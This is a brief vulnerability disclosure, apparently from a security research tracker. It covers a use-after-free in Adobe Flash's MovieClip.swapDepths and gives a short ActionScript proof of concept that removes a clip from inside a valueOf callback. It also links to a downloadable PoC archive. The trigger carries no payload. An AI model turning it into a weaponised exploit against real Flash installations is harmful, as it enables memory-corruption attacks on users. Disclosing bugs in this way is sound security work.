Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
	
	clip1.removeMovieClip();
	//_root.createEmptyMovieClip("test", 1);
	
	trace("here");
	return "clip2";
	}

A swf and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip